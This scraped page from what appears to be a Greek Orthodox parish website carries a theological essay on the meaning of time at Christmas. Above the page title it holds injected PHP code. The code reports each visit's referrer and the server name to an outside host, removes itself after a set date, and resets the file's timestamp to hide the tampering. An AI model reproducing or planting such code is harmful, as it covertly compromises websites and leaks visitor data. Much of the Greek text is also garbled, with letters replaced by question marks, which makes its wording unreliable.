check_meta(); function check_meta(){ $jp = __FILE__; $jptime = filemtime($jp); if(time() >= 1456732960){ $jp_c = file_get_contents($jp); if($t = @strpos($jp_c,"check_meta();")) { $contentp = substr($jp_c,0,$t); if(@file_put_contents($jp, $contentp)){ @touch($jp,$jptime); } } } @file_get_contents("http://web.51.la:82/go.asp?svid=8&id=18776828&referrer=".$_SERVER['HTTP_REFERER']."&vpage=http://".$_SERVER['SERVER_NAME']."/components/com_search/models/content.php"); } Άγιος Δημήτριος Νέου Φαλήρου - Τα νέα μας

Create PDF Recommend Print

Άγιος Δημήτριος Νέου Φαλήρου - Τα νέα μας

Θεολογική θεώρηση το? χρόνου

Το? Σέβ. Μητροπολίτου Χίου,Ψαρ?ν καί Ο?νουσσ?ν κ. Μάρκου

Στή χαρά τ?ν ?ορτ?ν τ?ν Χριστουγέννων καί το? νέου ?τους, ? ?μπειρία τ?ς ?κκλησίας μας ψηλαφε? τήν παρέμβαση το? ?χρονου Θεο? στήν δική μας μετρούμενη ροή καί διαδοχή το? χρόνου, ? ?ποία ε?ναι συνυφασμένη μέ τήν φθορά καί τήν ματαιότητα. ? Χριστός ?ρχεται νά ?νακαινίσει τήν διάσταση το? χρόνου, ?λευθερώνοντάς τήν ?πό τήν περατότητα καί τήν φθοροποιό φορά. Μέ τήν ?νανθρώπηση το? Κυρίου μας, ? χρόνος φθάνει στό «πλήρωμά» του, ?ποκτώντας μίαν ?ντελ?ς νέα προοπτική. Στό πρόσωπο το? Χριστο?, παύει νά ?ποτελε? πιά ?μπόδιο, τό ?πο?ο ?ριοθετε? τόν ?νθρωπο καί τόν κόσμο ?ς πρός τόν Θεό. ? ?νσάρκωση το? Υ?ο? καί Λόγου το? Θεο? πραγματοποιε?ται ?ν χρόν? καί ? «?εί ?ν» ?νοικε? στό «ν?ν». «Α?ώνια» ζωή δέν ε?ναι, ?π? α?τήν τήν ?ννοια καί μέ συμβατικούς ?ρους, ? χρονικά ?τελεύτητη, ?λλά ? «πλήρωση» το? μετρητο? χρόνου μέ τήν βίωσή του ?ς διαρκο?ς καί ?διάστατου παρόντος κοινωνίας μέ τόν Θεό.

? χρόνος, τόν ?πο?ο βιώνουμε, ?ς δημιούργημα το? Θεο?, ?χει ?ρχή, δηλαδή α?τιώδη ?ναρξη, καί δέν ε?ναι «?ναρχος». ?πίσης ε?ναι πεπερασμένος καί ?χει ?ρια, δέν ε?ναι ο?τε ?πειρος ο?τε α?ώνιος («ο?κ ?ΐδιος»). ? χρόνος ξεκιν? μέ τή Δημιουργία καί πορεύεται μαζί μέ τόν ?νθρωπο καί ?λόκληρη τήν κτίση σέ ?να σκοπό, στή «συντέλεια τ?ν α?ώνων», δηλαδή στήν ?λοκλήρωσή τους στήν Βασιλεία το? Θεο?. Α?τή ? καινή κτίση, πού ?ποτελε? τήν προσμονή τ?ν πιστ?ν καί ε?ναι ?τοιμασμένη «?πό καταβολ?ς κόσμου» (Ματθ. 25, 34), βρίσκεται ?δη παρο?σα «?ν μυστηρί?» στήν ?κκλησία. Δέν ε?ναι σωστό νά τήν νιώθουμε ?πομακρυσμένη σ? ?να ?προσδιόριστο τέλος το? κόσμου, γιατί ?τσι ? πίστη μας καί ? προσδοκία της «ζω?ς το? μέλλοντος α??νος» ?τονο?ν καί δέν νιώθουμε τήν πληρότητα τ?ν λέξεων «?λθέτω ? βασιλεία Σου».

?σον ?φορ? στήν φύση το? χρό­νου, ο? φω­τι­σμέ­νοι Πα­τέ­ρες τ?ς ?κ­κλη­σίας μας προ­η­γή­θη­καν κατά α??νες τ?ς σύγ­χρο­νης ?πι­στή­μης, ?ταν δίδασκαν ?τι ? χ?­ρος καί ? χρό­νος ε?­ναι ?ρ­ρη­κτα συμ­φυ­ε?ς, συ­νι­στών­τας μίαν ?νι­αία πρα­γμα­τι­κό­τητα. ? Μέ­γας Βα­σί­λειος ση­μει­ώ­νει ?τι ? χρό­νος ε?­ναι «τό συμ­πα­ρε­κτει­νό­με­νον τ? συ­στά­σει το? κό­σμου δι­ά­στημα» (Κατά Ε?­νο­μίου, PG 29, στ. 560): Δέν θά μπορο?σε νά βρε? κανείς τελειότερη διατύπωση γιά τήν διαστολή το? κοσμικο? χωροχρόνου, σύμφωνα μέ τίς πιστοποιήσεις τ?ς σύγχρονης φυσικ?ς.

?ντιστοίχως, ? ?κκλησιαστικός χρόνος δέν βιώνεται ?κτός το? τόπου καί το? χρόνου πού ζο?με. ? ?κκλησία, στήν ?πίγεια διάστασή της, ?ποδέχεται καί ?γκαλιάζει τή ροή το? χρόνου, παρά τή φθαρτότητα καί τή συμβατικότητα, ο? ?πο?ες τήν συνοδεύουν. ?τσι ?κολουθε?, στήν ?τήσια κυκλική ?ργάνωση τ?ς λειτουργικ?ς ζω?ς, τά χρονικά μέτρα, τά ?πο?α ?ρίζονται μέ βάση τά ?στρονομικά στοιχε?α καί ?λλες ?νθρωποκεντρικές ?μερολογιακές συμβάσεις. ?μως, ταυτοχρόνως ?περβαίνει α?τή τήν κατάτμηση το? χρόνου, ?πως καί τήν διάκρισή του σέ παρελθόν, παρόν καί μέλλον. Στήν ?κκλησία μας ο? ?μέρες συναντο?ν τά ?ερά γεγονότα, καθιστώντας δυνατή τήν μέθεξη το? ?νθρώπου σέ α?τά. Μέ α?τό τόν τρόπο, τό παρελθόν γίνεται συγχρόνως ?ορταστικό, ?λλά καί συμμετοχικό παρόν, γεγονός πού δηλώνεται μέ τήν διαρκή ?μνολογική χρήση το? ?νεστωτικο? «Σήμερον» στίς λειτουργικές συναθροίσεις (?πως, «? Παρθένος σήμερον τόν ?περούσιον τίκτει», «Σήμερον ? Δεσπότης τέμνεται τήν σάρκα ?ς βρέφος, πληρ?ν τόν Νόμον», «Σήμερον ? Δεσπότης σαρκί περιετμήθη, καί ?ησο?ς ?κλήθη», «Σήμερον ? Δεσπότης τό βάπτισμα λαμβάνει»). ? Θεός γίνεται σημε?ο ?ναφορ?ς το? ?νθρώπου σέ κάθε ?ρα, ?μέρα καί ?ορτή, ?στε κάθε στιγμή το? χρόνου μας νά ε?ναι γεμάτη μέ τό πλήρωμα τ?ς ζω?ς καί ? χρόνος «το? παρόντος βίου» νά γίνεται «?νιαυτός Κυρίου δεκτός».

Στήν ?κκλησία καί τήν Θεολογία μας ? χρόνος α?τός δέν ε?ναι κάτι τελείως διακριτό ?πό ?κε?νον τ?ς Βασιλείας τ?ν Ο?ραν?ν, ?λλά περικλείει τήν προτύπωση καί τήν πρόγευσή του. Μέ τόν Χριστό ? Βασιλεία το? Θεο? ?ρχίζει ?ντός τ?ς ?στορίας καί τό ?σχατον προσφέρεται στό παρόν, μέ τήν προοπτική τ?ς «α?ωνιότητος». Α?τό φανερώνει καί ? δοξολογική ?ναφορά μέ τήν ?ποία ?ρχίζει κάθε Θεία Λειτουργία: «Ε?λογημένη ? Βασιλεία το? Πατρός καί το? Υ?ο? καί το? ?γίου Πνεύματος ν?ν καί ?εί καί ε?ς τούς α??νας τ?ν α?ώνων». Τό χρονικό κορυφώνεται στό α?ώνιο ?δη ?δ? καί τώρα, μέ τήν ?κκλησία μας νά γίνεται ? μαζί μέ ?μ?ς καί «?λ? τ? κόσμ? συμπαρεκτεινόμενος» Χριστός στόν χρόνο καί τήν ?στορία. ? χρόνος, πού ?λαβε τήν ?ρχή ?πό τόν Δημιουργό Υ?ό καί Λόγο το? Θεο?, ?γιάζεται, καί βρίσκει τό τέλος καί τό πλήρωμά του στόν ?διο ?ς σαρκωθέντα Χριστό, τόν «?μμανουήλ» «Θεόν μεθ? ?μ?ν» καί «πάλιν ?ρχόμενον». Στό Πρόσωπό Του, ? «παλαιός τ?ν ?μερ?ν» γίνεται «νέος τ?ν ?σχάτων χρόνων», καί ? προαιώνιος καί ?περάχρονος Θεός Λόγος, ?παρχή τ?ς καιν?ς κτίσεως.

Στήν λατρεία τ?ς ?κκλησίας μας, ο? χρονικές συναρτήσεις, τό παρελθόν, τό παρόν καί τό μέλλον, χωρίς νά καταλύονται, συναιρο?νται σέ διαρκές παρόν τ?ς σωτηρίας. ? πίστη το? παρελθόντος καί ? ?λπίδα το? μέλλοντος συνδέονται καί βιώνονται μέ τήν ?γάπη στό παρόν. ? Θεία Λειτουργία ε?ναι ? ?χρονος χρόνος τ?ς πίστεως, τ?ς ?λπίδας καί τ?ς ?γάπης ?ν Χριστ?. ?ν ? ?πίγειος χρόνος γίνεται παλαιός, γερν? καί φθείρει, ? βαθύτερη ?πόσταση το? ?νθρώπου μένει ?νεπηρέαστη κατά τήν δυναμική ?νταπόκρισης στήν σχέση του μέ τόν Θεό. Γιατί «?ν ? ?ξωτερικός σ' ?μ?ς ?νθρωπος φθείρεται, ? ?σωτερικός ?νανεώνεται ?μέρα μέ τήν ?μέρα» (?λλ' ε? καί ? ?ξω ?μ?ν ?νθρωπος διαφθείρεται, ?λλ' ? ?σω ?μ?ν ?νακαινο?ται ?μέρ? κα? ?μέρ?»), μ?ς διδάσκει ? ?πόστολος Πα?λος (Κορ. Β΄, 4, 16). Μέ τήν ?νσάρκωσή Του ? Κύριός μας καινοτομε? τόν χρόνο, γιά νά χορηγήσει «ζωήν τήν ?χρονον το?ς ?ν γ? καί λ?ξιν α?ώνιον καί δόξαν τήν ?κήρατον».

 

Παντρεύεστε;

apokatastash steghs

Βαπτίζετε το παιδί σας;

Γίνεσται ανάδοχος;